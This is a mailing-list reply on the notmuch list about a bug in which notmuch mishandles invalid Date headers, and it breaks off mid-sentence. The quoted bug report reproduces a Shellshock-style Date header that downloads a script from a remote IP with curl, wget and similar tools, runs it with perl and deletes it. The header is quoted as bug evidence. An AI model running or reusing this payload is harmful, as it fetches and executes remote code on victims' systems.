From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from localhost (localhost [127.0.0.1]) by arlo.cworth.org (Postfix) with ESMTP id 827606DE170B for ; Sun, 19 Mar 2017 05:31:13 -0700 (PDT) X-Virus-Scanned: Debian amavisd-new at cworth.org X-Spam-Flag: NO X-Spam-Score: -0.004 X-Spam-Level: X-Spam-Status: No, score=-0.004 tagged_above=-999 required=5 tests=[AWL=0.006, NORMAL_HTTP_TO_IP=0.001, SPF_PASS=-0.001, T_RP_MATCHES_RCVD=-0.01] autolearn=disabled Received: from arlo.cworth.org ([127.0.0.1]) by localhost (arlo.cworth.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id NzKogp3CCL_8 for ; Sun, 19 Mar 2017 05:31:12 -0700 (PDT) Received: from fethera.tethera.net (fethera.tethera.net [198.245.60.197]) by arlo.cworth.org (Postfix) with ESMTPS id 795B16DE170A for ; Sun, 19 Mar 2017 05:31:12 -0700 (PDT) Received: from remotemail by fethera.tethera.net with local (Exim 4.84_2) (envelope-from ) id 1cpZyc-0003Pg-Fz; Sun, 19 Mar 2017 08:30:26 -0400 Received: (nullmailer pid 25720 invoked by uid 1000); Sun, 19 Mar 2017 12:31:07 -0000 From: David Bremner To: Johannes Schauer , notmuch@notmuchmail.org Subject: Re: bug: notmuch cannot handle invalid Date fields In-Reply-To: <20150422065630.6330.90536@hoothoot> References: <20150422065630.6330.90536@hoothoot> Date: Sun, 19 Mar 2017 09:31:07 -0300 Message-ID: <87zighjvn8.fsf@tethera.net> MIME-Version: 1.0 Content-Type: text/plain X-BeenThere: notmuch@notmuchmail.org X-Mailman-Version: 2.1.22 Precedence: list List-Id: "Use and development of the notmuch mail system." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 19 Mar 2017 12:31:13 -0000 Johannes Schauer writes: > Hi, > > I recently received an email with the following date field (the value of all > other headers is the same): > > Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; > > When doing `notmuch search lwp-download` I get: > > thread:000000000001ea6b 1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread) > > You can see that the date is 1899-12-31 which is wrong. This should now be fixed, as of 62822a4e2 d